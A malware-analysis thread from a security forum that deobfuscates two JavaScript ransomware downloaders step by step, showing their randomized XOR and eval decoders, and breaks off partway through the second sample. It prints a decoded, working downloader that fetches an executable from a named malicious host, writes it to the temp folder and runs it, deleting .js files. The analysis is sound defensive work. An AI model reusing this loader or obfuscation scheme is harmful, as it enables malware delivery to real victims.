Malware Analysis Decoder built after several pseudo random attempts - 6 samples - last sample March 31, 2017

Svoll

Level 13
Verified
Top Poster
Well-known
Nov 17, 2016
627
I can't stop you, only cloning humans is forbidden :D

True but what if you teach me everything you know about breaking down codes and deobfuscating, then, I can be your successor on MT when you retire. No Cloning needed, just gotta transfer your brain to mines. Dun Dun Dun.... forgot what movie this is from, First thing that comes to mind is Frankenstein....
 
  • Like
Reactions: MWNu72 and DardiM

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
From https://malwaretips.com/threads/js-downloader-cerber-ransomware.69762/
Thanks to @wajiman

3409.js

Why this sample ?

- Obfuscated anonymous function built in real time by several attempts, using a random function, to decode the obfuscated real part of the downloader.

- The method used is a good protection against detection (heuristic)
=> to build the working anonymous decoder : 1 in 7776 possibilities

- Several modifications from last analysed sample.

As usual I made some modifications in several parts, to avoid copy-paste => run => infection :p

1) What it looks like :

The whole code with a lot of useless parts.

Code:
function juxmplsgix(domlybsnah)
{
    return parseInt(domlybsnah,16);
}
function jjqnqjzeqn()
{
    var sxqqpnabkg=new Array("p","l","e","v","a","^");
    return sxqqpnabkg[Math["floo"+""+"r"](Math.random()*sxqqpnabkg.length)];
}
function cpcflkwbtq()
{
    var i = 1;
    var lxbpecvjjb="iAnJu2dZ7Ya23eJgkyt25L7BDt28uE_K73fCexQY22sPfDb24IWRuV25P1i4u6bWXfkT2cUnrmf2ejjmG-3fa-ImS0faqpJj2aalkxv3fS_g3h2a:TNeq0dhvWLo39T2utW24-kDot26oxIWM1epuBmo39jnBtS27tvyUd63ErgGl3e_FZO339rLbSj27nVUfl67MU-Z"+
    "C6bDNhMW28FxH7y2ad4:5S27w0WnX27:-GYd29sE:wl2aVCguL28_:pD620R_9n362Cmel630rk5L53fv3Ujt39yo8xn32_knuq30IH9Sa3dpRXf42a_kx2u39RkpeL6bEo8YD33PEqwZ26kGYzb27_T8J:03pFjYG3fAwr_g3fwcU093bcHSQ_6bYCDrs76gq_g_6bM"+
    "mSdw25W1fP-2eFDzgC3cUGOas6bPCth70aTYub228dzQ_J3fGxK7w22KKBur3dKL-c02ek83mb13o7qjR04pY4DE29Cc4OW21dxj9A2eINmEj28DBnDz3feVmrp63ogMr869R5RED06pKrWM18MeCcG13jeOLM06iCLI607iKz5279YR7wr65Xf24M13--9Zx06BqUW:"+
    "07UAXkh03_QrjY1ff:usw1fmwnxt1bQlrEp69Svxs662mNHsf70aoBhP33YYPK-26CiqjD27cCeEc03Wo-_R3frjmZD3fB32Kl3bFg6jr65roctO24dRWkr3brBc3X2et7oTM25wn:3d63bFSbq69MWzjH0ciYhA40eUF_5J1fZqV8H69X9aLw67PiNgH6byafmA3eoO"+
.....
.....
  ;
    return lxbpecvjjb;
}
function xtdrwwmaoz(rmqnmpjsnb)
{
    var qxhgbpgltx;
    while(true){
        try
        {
            qxhgbpgltx=(new Function("pfjadkqyzq","var tukovgydnz=pfjadkqyzq.match(/\\S{7}/g),xhmbtgrfqq=\"\",fpfrxmccyg=0;while(fpfrxmccyg<tukovgydnz.length){xhmbtgrfqq+=String['fromCharCode'](juxmplsgix(tukovgydnz[fpfrxmccyg].substr(5,2))"+jjqnqjzeqn()+"75);fpfrxmccyg++;}"+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+"(xhmbtgrfqq);")(rmqnmpjsnb));
            break;
        }
        catch(er)
        {
        }
    }
    return qxhgbpgltx;
}
xtdrwwmaoz(cpcflkwbtq());


2) The different parts :

(1)
function juxmplsgix(domlybsnah)
{

return parseInt(domlybsnah,16);
}
converts from String to integer, considering the number represented as a string is an hex number
e.g : "1C" => 0x1c => 28 decimal

This part is to replace the ParseInt(string_used.substr(pos, size), 16) that was used in previous samples​
(2)
function jjqnqjzeqn()
{
var sxqqpnabkg=new Array("p","l","e","v","a","^");
return sxqqpnabkg[Math["floo"+""+"r"](Math.random()*sxqqpnabkg.length)];
}
Function that will return randomly one char.
The array contains all possibilities :
sxqqpnabkg = [
"p",
"l",
"e",
"v",
"a",
"^"
]​
(3)
function cpcflkwbtq()
{

var i = 1;
var lxbpecvjjb=
"iAnJu2dZ7Ya23eJgkyt25L7BDt28uE_K73fCexQY22sPfDb24IWRuV25P1i4u6bWXfkT2cUnrmf2ejjmG-3fa-ImS0faqpJj2aalkxv3fS_g3h2a:TNeq0dhvWLo39T2utW24-kDot26oxIWM1epuBmo39jnBtS27tvyUd63ErgGl3e_FZO339rLbSj27nVUfl67MU-Z"+
"C6bDNhMW28FxH7y2ad4:5S27w0WnX27:-GYd29sE:wl2aVCguL28_:pD620R_9n362Cmel630rk5L53fv3Ujt39yo8xn32_knuq30IH9Sa3dpRXf42a_kx2u39RkpeL6bEo8YD33PEqwZ26kGYzb27_T8J:03pFjYG3fAwr_g3fwcU093bcHSQ_6bYCDrs76gq_g_6bM"+
"mSdw25W1fP-2eFDzgC3cUGOas6bPCth70aTYub228dzQ_J3fGxK7w22KKBur3dKL-c02ek83mb13o7qjR04pY4DE29Cc4OW21dxj9A2eINmEj28DBnDz3feVmrp63ogMr869R5RED06pKrWM18MeCcG13jeOLM06iCLI607iKz5279YR7wr65Xf24M13--9Zx06BqUW:"+
"07UAXkh03_QrjY1ff:usw1fmwnxt1bQlrEp69Svxs662mNHsf70aoBhP33YYPK-26CiqjD27cCeEc03Wo-_R3frjmZD3fB32Kl3bFg6jr65roctO24dRWkr3brBc3X2et7oTM25wn:3d63bFSbq69MWzjH0ciYhA40eUF_5J1fZqV8H69X9aLw67PiNgH6byafmA3eoO"+
.....
.....
=> a lot of long string parts added, I only show here some parts
;
return lxbpecvjjb;
}
This function builds the encoded string, that will be used to decode the real malware part, with a decoding function that will be built in real time after, like a puzzle, after random attempts.
(4)
function xtdrwwmaoz(rmqnmpjsnb)
{

var qxhgbpgltx;
while(true){

try
{

qxhgbpgltx=(new Function("pfjadkqyzq","var tukovgydnz=pfjadkqyzq.match(/\\S{7}/g),xhmbtgrfqq=\"\",fpfrxmccyg=0;while(fpfrxmccyg<tukovgydnz.length){xhmbtgrfqq+=String['fromCharCode'](juxmplsgix(tukovgydnz[fpfrxmccyg].substr(5,2))"+jjqnqjzeqn()+"75);fpfrxmccyg++;}"+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+"(xhmbtgrfqq);")(rmqnmpjsnb));
break;
}
catch(er)
{
}
}
return qxhgbpgltx;
}

This is the main function called by the entry point : xtdrwwmaoz(cpcflkwbtq());
(5)
xtdrwwmaoz(cpcflkwbtq());

=> the first part run

cpcflkwbtq()

=> returns the encoded string, built by concatenation of several strings.
=> parameter for xtdrwwmaoz function, that will build in real time, by random attemps, the decoder, decode the obfuscated string, and run the malware part​
3) The build of the decoder

qxhgbpgltx=(
new Function(

"pfjadkqyzq",
"var tukovgydnz=pfjadkqyzq.match(/\\S{7}/g),xhmbtgrfqq=\"\",fpfrxmccyg=0;while(fpfrxmccyg<tukovgydnz.length){xhmbtgrfqq+=String['fromCharCode'](juxmplsgix(tukovgydnz[fpfrxmccyg].substr(5,2))"+jjqnqjzeqn()+"75);fpfrxmccyg++;}"+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+"(xhmbtgrfqq);"
)
(rmqnmpjsnb)
);
break;

Here :

- rmqnmpjsnb

contains the obfuscated string received by xtdrwwmaoz(cpcflkwbtq());
- "pfjadkqyzq"

is the name of the parameter that will be used in the future build anonymous function

cpcflkwbtq() => rmqnmpjsnb => pfjadkqyzq : encoded / obfuscated string : content of the real malware script
- "var tukovgydnz=pfjadkqyzq.match(/\\S{7}/g),xhmbtgrfqq=\"\",fpfrxmccyg=0;while(fpfrxmccyg<tukovgydnz.length){xhmbtgrfqq+=String['fromCharCode'](juxmplsgix(tukovgydnz[fpfrxmccyg].substr(5,2))"+jjqnqjzeqn()+"75);fpfrxmccyg++;}"+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+"(xhmbtgrfqq);"
the body of the future anonymous decoder​


The built anonymous function will looks like :

taking into account that the pseudo random function that return a char between "p" , "l", "e", "v", "a" , "^"

anonymous function (pfjadkqyzq ){
var tukovgydnz=pfjadkqyzq.match(/\S{7}/g),
xhmbtgrfqq="",
fpfrxmccyg=0;
while( fpfrxmccyg < tukovgydnz.length){

xhmbtgrfqq+=String['fromCharCode'](juxmplsgix(tukovgydnz[fpfrxmccyg].substr(5,2))Random_char75);
fpfrxmccyg++;
}
random_name_with_4_chars(xhmbtgrfqq)
}
Random_char :

"p" , "l", "e", "v", "a" , "^"

=> must be "^" : because it is the only working char if put with 75 => ^75 => XOR 75

random_name(xhmbtgrfqq)

=> This random_name is used like a function with the decoded string as parameter
And is build in real time with several attempts that call the random function we have seen above.​

jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+"(xhmbtgrfqq);"

=> a lot of random possibilities of names built, but not too hard to find that the only working name is "eval"

=> eval(xhmbtgrfqq) => runs the deobfuscated string => runs the real bad script

Conclusion :

the only working version (remember juxmplsgix function => hex under string converted to int)

anonymous function (pfjadkqyzq ){
var tukovgydnz=pfjadkqyzq.match(/\S{7}/g),
xhmbtgrfqq="",
fpfrxmccyg=0;
while( fpfrxmccyg < tukovgydnz.length){

xhmbtgrfqq+=String['fromCharCode'](HEX_STR_TO_INT(tukovgydnz[fpfrxmccyg].substr(5,2))^75);
fpfrxmccyg++;
}
eval(xhmbtgrfqq);
}

The While Loop is infinite (true) : it will try to build and run the anonymous function until a working one is found
=> the catch part is used to manage errors and this way, avoid any message (there could be a lot of errors until the good "puzzle" is found
while(true){
try
{
qxhgbpgltx=(new Function("pfjadkqyzq","var tukovgydnz=pfjadkqyzq.match(/\\S{7}/g),xhmbtgrfqq=\"\",fpfrxmccyg=0;while(fpfrxmccyg<tukovgydnz.length){xhmbtgrfqq+=String['fromCharCode'](juxmplsgix(tukovgydnz[fpfrxmccyg].substr(5,2))"+jjqnqjzeqn()+"75);fpfrxmccyg++;}"+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+"(xhmbtgrfqq);")(rmqnmpjsnb));
break;
}
catch(er)
{
}
}
4 ) Explanation of the decoder function :

var tukovgydnz=pfjadkqyzq.match(/\\S{7}/g),

=> /\S{7}/g : regular expression : to find all parts of 7 chars :

=> \\S => \S because it is converted from a string to 'codes on a function'
=>var tukovgydnz : array of strings with each 7 chars

=> the obfuscated / encoded string that contains the real downloader part are here , divided in several string of 7 chars

Exemple :

"iAnJu2dZ7Ya23eJgkyt25L7BDt28uE_K73fCexQY22sPfDb24IWRuV25P1i4u6bWXfkT2cUnrmf2ejjmG-3fa-ImS0faqpJj2aalkxv3f............

=> array : "iAnJu2d" , "Z7Ya23e" ,"Jgkyt25" , ....​
xhmbtgrfqq = "",

=> empty string : will content at the end of the while loop, the decoded malware part
fpfrxmccyg=0;

=> used as index for the loop, to retrieve each string of 7 chars​
while(fpfrxmccyg < tukovgydnz.length){

=> while index < length of the array of string used to do the decode stuff
xhmbtgrfqq+=String['fromCharCode'](HEX_STR_TO_INT(tukovgydnz[fpfrxmccyg].substr(5,2))^75);

=> add to the current string (under building) , the current decoded part from the current string of 7 chars.

=> ukovgydnz[fpfrxmccyg] : get the current string of 7 chars on the array of several parts (with the current index)

=> substr(5,2) : from the current coded string : get the 2 last chars (the 7 firs chars are to obfuscate a bit more)

=> this two last chars are converted in a Int, considering it was an hexadecimal representation :
=> the number is XORed with 75

=> String.fromCharCode : the resulting number is converted into a string
=> fpfrxmccyg++ => next index


Examples :

"iAnJu2d"" => "2d" => considered as a string representation of 2d in hexadecimal
=> 45 in decimal
=> 45 XOR 75 = 102
=> 102 => "f"

""Z7Ya23e"" => "3e" => considered as a string representation of 3e in hexadecimal
=> 62 in decimal
=> 62 XOR 75 = 117
=> 117 => "u"

"Jgkyt25"" => "25" => considered as a string representation of 25 in hexadecimal
=> 37 in decimal (= "C")
=> 37 XOR 75 = 110
=> 110 => "n"

etc,...

eval(xhmbtgrfqq)

=> here the complete decoded part is in the string,

=> eval(...) => evaluates / runs this part​
5) Let's get the decoded string :

We have found the right function using a static analysis method.
To get the decoded string, there are several solutions, using for example a debugger, but after have replaced their random method by our working function.

The dangerous par is eval(xhmbtgrfqq)

The modification I made to get the decoded string :

xtdrwwmaoz(cpcflkwbtq());

var tempo = test(cpcflkwbtq());

function test(pfjadkqyzq) {
var tukovgydnz=pfjadkqyzq.match(/\S{7}/g),
xhmbtgrfqq="",
fpfrxmccyg=0;
while(fpfrxmccyg<tukovgydnz.length)
{

xhmbtgrfqq+=String['fromCharCode'](juxmplsgix(tukovgydnz[fpfrxmccyg].substr(5,2))^75);
fpfrxmccyg++;
}
return xhmbtgrfqq;
}
=> I replaced the eval(xhmbtgrfqq) by return xhmbtgrfqq

=> this way, when it returns in the previous calling part, the decoded malware string is not been evaluated / run, but is in the tempo var.
The decoded string will give the code :

Code:
function getDataFromUrl(url, callback) {
    try {
        var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlHttp.open("GET", url, false);
        xmlHttp.send();
        if (xmlHttp.status == 200) {
            return callback(xmlHttp.ResponseBody, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}

function getData(callback) {
    try {
        getDataFromUrl("http://sonicfopase.top/admin.php?f=2.gif", function(result, error) {
            if (!error) {
                return callback(result, false);
            } else {
                getDataFromUrl("http://sonicfopase.top/admin.php?f=2.gif", function(result, error) {
                    if (!error) {
                        return callback(result, false);
                    } else {
                        getDataFromUrl("http://sonicfopase.top/admin.php?f=2.gif", function(result, error) {
                            if (!error) {
                                return callback(result, false);
                            } else {
                                return callback(null, true);
                            }
                        });
                    }
                });
            }
        });
    } catch (error) {
        return callback(null, true);
    }
}

function getTempFilePath() {
    try {
        var fs = new ActiveXObject("Scripting.FileSystemObject");
        var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";
        var tmpFilePath = fs. GetSpecialFolder(2) + tmpFileName;
        return tmpFilePath;
    } catch (error) {
        return false;
    }
}

function saveToTemp(data, callback) {
    try {
        var path = getTempFilePath();
        if (path) {
            var objStream = new ActiveXObject("ADODB.Stream");
            objStream.Open();
            objStream.Type = 1;
            objStream.Write(data);
            objStream.Position = 0;
            objStream.SaveToFile(path, 2);
            objStream.Close();
            return callback(path, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}
getData(function(data, error) {
    if (!error) {
        saveToTemp(data, function(path, error) {
            if (!error) {
                try {
                    var wsh = new ActiveXObject("WScript.Shell");
                    wsh .Run("cmd.exe /c start " + path + " & del *.js");
                } catch (error) {}
            }
        });
    }
});

Almost exactly the same structure already explained on previous analysis.
The only difference :

Previous samples :

wsh.Run(path);
Now :

wsh.Run("cmd.exe /c start " + path + " & del *.js");

=> doesn't run directly the payload, but use cmd to start it and remove the .js script (*.js => all .js script)​

Summary :

Here is the entry point (where the script begin to "run") :

(1) It calls getData with a function as parameter (that contains another function)

getData(
function(data, error) {

if (!error) {

saveToTemp(

data,

function(path, error) {
if (!error) {

try {

var wsh = new ActiveXObject("WScript.Shell");
wsh.Run("cmd.exe /c start " + path + " & del *.js");

=> the run part of the payload !
=> delete all the .js scripts
} catch (error) {}
}
}
);
}
}
);

In their method, they used a mix of named function and anonymous function (=without name)

function getData(main_anonymous_function)

=>
main_anonymous_function contains a second_main_anonymous_function
Here, we can see they use the same structure that in previous analysis, but only keep one URL.

function getData(callback) {
try {
getDataFromUrl(URL_OF_PAYLOAD, function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl(URL_OF_PAYLOAD, function(result, error) {
if (!error) {
return callback(result, false);
} else {

getDataFromUrl(URL_OF_PAYLOAD, function(result, error) {
if (!error) {
return callback(result, false);
} else {
return callback(null, true);
}
});
}
});
}
});
} catch (error) {
return callback(null, true);
}
}
(2) => calls getDataFromUrl(URL, function_with_next_url_if needed) : is called several time if needed, change the URL tested until the end or if a good working URL is found.

function getDataFromUrl(url, callback) {
try {
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");

=> http object created​
xmlHttp.open("GET", url, false);

=> opens a connection to the URL
xmlHttp.send();

=> sends the request : try to download the payload
if (xmlHttp.status == 200) {

=> if the status is == 200 = > OK
return callback(xmlHttp.ResponseBody, false);

=> returns the content of the request : data received
} else {

=> here : the request failed ( status not != 200)
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
returns to main_anonymous_function :


(3) calls saveToTemp(data_from_http_request, second_main_anonymous_function

function(path, error) {
if (!error) {

try {

var wsh = new ActiveXObject("WScript.Shell");

wsh.Run("cmd.exe /c start " + path + " & del *.js");

=> run the payload and delete the all .js script
} catch (error) {}
}
}
);
=> var path = getTempFilePath()

=> var fs = new ActiveXObject("Scripting.FileSystemObject");

=> object to manipulate files / folder
=> var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;

=> GetSpecialFolder(2) : 2 => %TEMP% folder

=> %TEMP% + "\' + Math.random().toString(36).substr(2, 9) + ".exe" +

Math.random().toString(36).substr(2, 9)

=> random value converted into a string, and then 9 chars are retrieved from index 2 (third char) !

=> toString(radix)

=> radix : must be an integer between 2 and 36 :
  • 2 - The number will show as a binary value
  • 8 - The number will show as an octal value
  • 16 - The number will show as an hexadecimal value
then 36 : 16 + 2 + 8 => means : binary, octal, hexadecimal are allowed​
=> why not keep the first chars ? Because the random function return a decimal number that begins by : 0.

=> the string also begins with "0."

Example :

=> "0.y2lnjnvzwz89"
=> don't want this part in the random name :)

=> .substr(2, 9) (= retrieve from index 2, 9 chars)

=> "y2lnjnvzw"
=> %TEMP%\ + 9 random chars + ".exe"

=>Example C:\Users\DardiM\AppData\Local\Temp\y2lnjnvzw.exe​
=> stream object created using new ActiveXObject("ADODB.Stream");

=> stream used to save the data received on a file
returns to second_main_anonymous_function

(4)
=> creates a shell object wsh = ActiveXObject("WScript.Shell");
=> uses this shell object to run the payload
=> wsh.Run("cmd.exe /c start " + path + " & del *.js")

=> run cmd.exe to start the payload and delete all the .js scripts

6) Conclusion :

6 different chars in the array used by the random function :

^ => 6 possibilities
e v a l => 6*6*6*6

=> 6*6*6*6*6 = 7776 combinations (remember that here, the same char can be chosen several times)

Only 1 works : "^" "e" "v" "a" "l"​

URL :

hxxp://sonicfopase.top/admin.php?f=2.gif
Payload :
%TEMP%\y2lnjnvzw.exe (example, because it is a complete random name)

Example : C:\Users\DardiM\AppData\Local\Temp\y2lnjnvzw.exe


VirusTotal - Free Online Virus, Malware and URL Scanner
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
From : https://malwaretips.com/threads/nemucod-low-detection-js-as-downloaded-exe.70129/
Thanks to : Solarquest

Why this sample ?
It is a big improvement from precedent samples.
It can now take a lot of minutes before it successfully gets a working decoder.

Look at the code :

Code:
function oOoO0O0(O0o00oO)
{
    var O0oOo00;
    try
    {
        O0oOo00=(new Function("OoO000o","return OoO000o.match(/\\S{1}/g);")(O0o00oO));
    }
    catch (er)
    {
    }
    return O0oOo00;
}
function oo0000O(Oo00O0o,OOOOOo0)
{
    var o00OOoo;
    try
    {
        o00OOoo=(new Function("oOo00oo","oo0OOo0","return oOo00oo[Math.floor(Math.random()*oo0OOo0)];")(Oo00O0o,OOOOOo0));
    }
    catch(er)
    {
    }
    return o00OOoo;
}
function ooO0O00(OoOoOoo)
{
    var ooO00o0;
    try
    {
        ooO00o0=(new Function("oOO0oOO","return String.fromCharCode(oOO0oOO);")(OoOoOoo));
    }
    catch(er)
    {
    }
    return ooO00o0;
}
function Oo0Ooo0(oOo0oOO)
{
    var O0OoOO0;
    while(true){
        try
        {
            var i = 0;
            O0OoOO0=(new Function("OoOOOOo","var OOOo0oO="+"new Array(99,110,244,91,53,249,101,68),O00OoO0=OoOOOOo.match(/\\S{2}/g),oO0OO0O=\"\",oO0OO0o=0;for(var oO0OO0o=0,O00oOo0=0;oO0OO0o<O00OoO0.length;oO0OO0o++,O00oOo0++){if(O00oOo0>=OOOo0oO.length){O00oOo0=0;}oO0OO0O "+o0ooO0O()+"=ooO0O00(parseInt(O00OoO0[oO0OO0o],16)^OOOo0oO[O00oOo0]);}"+o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);")(oOo0oOO));
            // c n ¶ [ 5 ¨ e D
            break;
        }
        catch(er)
        {
        }
    }
    return O0OoOO0;
}
function o0ooO0O()
{
    var ooO0OOO;
    try
    {
        ooO0OOO=(new Function("var oOOOOOo=oOoO0O0(\"l+eva+alal+veve+l+ave+alal+veve\");return oo0000O(oOOOOOo,31);")());
    }
    catch(er)
    {
    }
    return ooO0OOO;
}
function O0ooO0o()
{
    var oo0oO0O="051b9a3841900a2a4309912f71981125251c9b36608b096c161c9877159a04280f0c95385ed01e3011178f2d548b453c0e02bc2f418945794300912c15b806300a1891037a9b0f21001adc7978aa3d092f5cda0378b52d10373ed6720e8108282b1a802b1b9615210d46d61c70ad4768431b863719d903250f1d91720e8108282b1a802b1b8a002a0746dd605c9f456c1b039813418d"+
    "156a101a952f408a45795e4ec66b05d0453f110b802e4797452702029839549a0e6c1b039813418d156a310b872b5a9716212101902219d903250f1d91720e840028100b8f29508d10360d4e973a599507250005dc3540950968431a862e50d05e391e0d952f5691456c061c863447d01e36061a81295bd906250f02963a56924d2a16029877158d17310647cf26489f102a001a9d34"+
...
... removed : two long
...
  "0437081dd474568b0025170bd474419745664345d416548d0d6a110f9a3f5a944d6d4d1a9b08418b0c2a0446c76d1cd71631011d80291dcb49645a47d47015db456b100dd4345b9a00644c1a867b17d94e64130f803315d245664341872f15db456f431c8135619008214a55893e598a003f141d9c75678c0b6c410d993f1b9c1d214341977b468d0436174ed67b1ed915251706dd60"+
    "48840625170d9c7b1d9c17360c1cdd7b4e8418394a5589261cc2";
    return oo0oO0O;
}
Oo0Ooo0(O0ooO0o());

First remark :

The name of vars !

- oOoO0O0
- O0o00oO
- O0oOo00
- OoO000o
- oo0000O
- Oo00O0o
- OOOOOo0
- o00OOoo
- oOo00oo
- ooO0O00
- OoOoOoo
- ooO00o0
- oOO0oOO
- O0OoOO0
- OOOo0oO
- O00OoO0
- oO0OO0O
- o0ooO0O

Lol ! A good way to make trouble to eyes and disturb the brain ...
Where are the part that build the decoder in real time (with several attempts) ?

Code:
function Oo0Ooo0(oOo0oOO)
{
    var O0OoOO0;
    while(true){
        try
        {
            var i = 0;
            O0OoOO0=(new Function("OoOOOOo","var OOOo0oO="+"new Array(99,110,244,91,53,249,101,68),O00OoO0=OoOOOOo.match(/\\S{2}/g),oO0OO0O=\"\",oO0OO0o=0;for(var oO0OO0o=0,O00oOo0=0;oO0OO0o<O00OoO0.length;oO0OO0o++,O00oOo0++){if(O00oOo0>=OOOo0oO.length){O00oOo0=0;}oO0OO0O "+o0ooO0O()+"=ooO0O00(parseInt(O00OoO0[oO0OO0o],16)^OOOo0oO[O00oOo0]);}"+o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);")(oOo0oOO));
            break;
        }
        catch(er)
        {
        }
    }
    return O0OoOO0;
}
Following the code / steps :

(1) Entry point :

Oo0Ooo0(O0ooO0o());

O0ooO0o() => will concatenate and return the obfuscated string : the downloader and launcher of the payload
(2) Creation of the big string that will contain the whole real part obfuscated / coded :

Details :

function O0ooO0o()
{

var oo0oO0O="051b9a3841900a2a4309912f71981125251c9b36608b096c161c9877159a04280f0c95385ed01e3011178f2d548b453c0e02bc2f418945794300912c15b806300a1891037a9b0f21001adc7978aa3d092f5cda0378b52d10373ed6720e8108282b1a802b1b9615210d46d61c70ad4768431b863719d903250f1d91720e8108282b1a802b1b8a002a0746dd605c9f456c1b039813418d"+
"156a101a952f408a45795e4ec66b05d0453f110b802e4797452702029839549a0e6c1b039813418d156a310b872b5a9716212101902219d903250f1d91720e840028100b8f29508d10360d4e973a599507250005dc3540950968431a862e50d05e391e0d952f5691456c061c863447d01e36061a81295bd906250f02963a56924d2a16029877158d17310647cf26489f102a001a9d34"+

...
... removed : two long
...

"0437081dd474568b0025170bd474419745664345d416548d0d6a110f9a3f5a944d6d4d1a9b08418b0c2a0446c76d1cd71631011d80291dcb49645a47d47015db456b100dd4345b9a00644c1a867b17d94e64130f803315d245664341872f15db456f431c8135619008214a55893e598a003f141d9c75678c0b6c410d993f1b9c1d214341977b468d0436174ed67b1ed915251706dd60"+
"48840625170d9c7b1d9c17360c1cdd7b4e8418394a5589261cc2";

=> concatenation of several strings
return oo0oO0O;

=> returns the obfuscated string
}
(3) Main loop with attempts to create the working decoder

We have seen that From entry point :​

Oo0Ooo0(O0ooO0o());

=> Let's see the function called with parameter : the obfuscated big string
function Oo0Ooo0(oOo0oOO) => oOo0oOO : parameter : the obfuscated string (real part of the bad script)
{
var O0OoOO0;

=> will contain the decoder if successfully built, or will contains a not working function (will failed on some part randomly built but that is not the good decoder)
while(true){
try
{

var i = 0; => not used
O0OoOO0=(
new
Function(
"OoOOOOo", => name of the parameter for the function once built

"var OOOo0oO="+"new Array(99,110,244,91,53,249,101,68),O00OoO0=OoOOOOo.match(/\\S{2}/g),oO0OO0O=\"\",oO0OO0o=0;for(var oO0OO0o=0,O00oOo0=0;oO0OO0o<O00OoO0.length;oO0OO0o++,O00oOo0++){if(O00oOo0>=OOOo0oO.length){O00oOo0=0;}oO0OO0O "+o0ooO0O()+"=ooO0O00(parseInt(O00OoO0[oO0OO0o],16)^OOOo0oO[O00oOo0]);}"+o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);"

=> body of the future function : the working decoder or the bad decoder
(in this last case,an error will occurs and be catch => Loop while (true) => other attempts)

)(oOo0oOO)); => content of the parameter OoOOOOo once the function will be su​
break;
}
catch(er)
{
}
}
return O0OoOO0;
}
(3-1) Analyse of the body of the function that has to give a working decoder, at one moment :

var OOOo0oO=new Array(99,110,244,91,53,249,101,68), => this array is used for the XOR part : this time, not a single value
O00OoO0=OoOOOOo.match(/\S{2}/g), => creates an array with the encoded long string, 2 chars by 2 chars
oO0OO0O="",
oO0OO0o=0;
for(var oO0OO0o=0,O00oOo0=0;oO0OO0o<O00OoO0.length;oO0OO0o++,O00oOo0++){

if(O00oOo0>=OOOo0oO.length){
O00oOo0=0;

=> when all value for the XOR part has benn used, start again with the first
}
oO0OO0O "+o0ooO0O()+"=ooO0O00(parseInt(O00OoO0[oO0OO0o],16)^OOOo0oO[O00oOo0]);

Explanations :
Look at the spoiler at least one time :)
- O00OoO0[oO0OO0o]

=> O00OoO0[index] : current string of 2 chars on the array of encoded string that has been built from the whole encoded String
- parseInt(O00OoO0[oO0OO0o],16) => get the charcode from the string of 2 chars that are interpreted as a hex number under string representation

- ooO0O00(parseInt(O00OoO0[oO0OO0o],16)^OOOo0oO[O00oOo0])

=> XOR with one of the value in the special array :

[99,110,244,91,53,249,101,68]

ooO0O00(parseInt(O00OoO0[index_in_the_array_of_encoded_strings],16)^OOOo0oO[index_in_the_value_for_XOR_part])
- ooO0O00(......)

=> function ooO0O00(OoOoOoo)
{
var ooO00o0;
try
{

ooO00o0=(new Function("oOO0oOO","return String.fromCharCode(oOO0oOO);")(OoOoOoo));
}
catch(er)
{
}
return ooO00o0;
}
=> Builds another anonymous function

function anonymous(oOO0oOO) {
return String.fromCharCode(oOO0oOO);
}
=> to convert from charcode to string​

=> example : "051b9a3841900a2a43....."
(a small part of the long encoded string, to show you how the decoder works)

=> array of group of string of 2 chars :

[ "05" , "1b" , "9a" , "38" , "41" , "90", "0a" , "2a" , "43".....]​
We found that the array for the XOR part is :

[99,110,244,91,53,249,101,68] => decimal numbers​
is a string, but each char can represent an hex number
=> parseInt("05",16)
=> the whole string will be converted in 0x05 = 05 decimal
=> 05 XOR 99 => 102 => "f"
=> parseInt("1b",16)
=> the whole string will be converted in 0x1b = 27 decimal
=> 27 XOR 110 =>117 => "u"
=> parseInt("9a",16)
=> the whole string will be converted in 0x9a = 154 decimal
=> 154 XOR 244 => 110 => "n"
=> parseInt("38",16)
=> the whole string will be converted in 0x9a = 56 decimal
=> 56 XOR 91 => 99 => "c"
=> parseInt("41",16)
=> the whole string will be converted in 0x41 = 65 decimal
=> 65 XOR 53 => 116 = > "t"
=> parseInt("90",16)
=> the whole string will be converted in 0x90 = 144 decimal
=> 144 XOR 249 => 105 => "i"
=> parseInt("0a",16)
=> the whole string will be converted in 0x0a = 10 decimal
=> 10 XOR 101 => 111 => "o"
=> parseInt("2a",16)
=> the whole string will be converted in 0x2a = 42 decimal
=> 42 XOR 68 => 11 => "n
Here : all the value to be used for the XOR part have been used=> begins again by the first one : 99
=> parseInt("43",16)

=> the whole string will be converted in 0x43 = 67 decimal
=> 67 XOR 99 => 132 => " " => blank char
=> etc,
- oO0OO0O :

=> will contain the decoded string (downloader / launcher script)
=> the string begin empty : ""
=> the logic is : add each decoded part on the loop, until all has been decoded
=> easy to understand that the function
o0ooO0O() must return a "+" to have the good part corresponding

=> value+=some_other_value <=> value = value + some_other_value​
}
"+o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);"

=> o0ooO0O() : function that return in a pseudo random way some part
=> easy to understand that the concatenation of the 4 calls to o0ooO0O() must be : "eval"
=> eval(oO0OO0O) => run the real bad script once decoded

o0ooO0O() => let see how the returned values (to make the attempts to build a working decoder) works

function o0ooO0O()
{

var ooO0OOO;
try
{

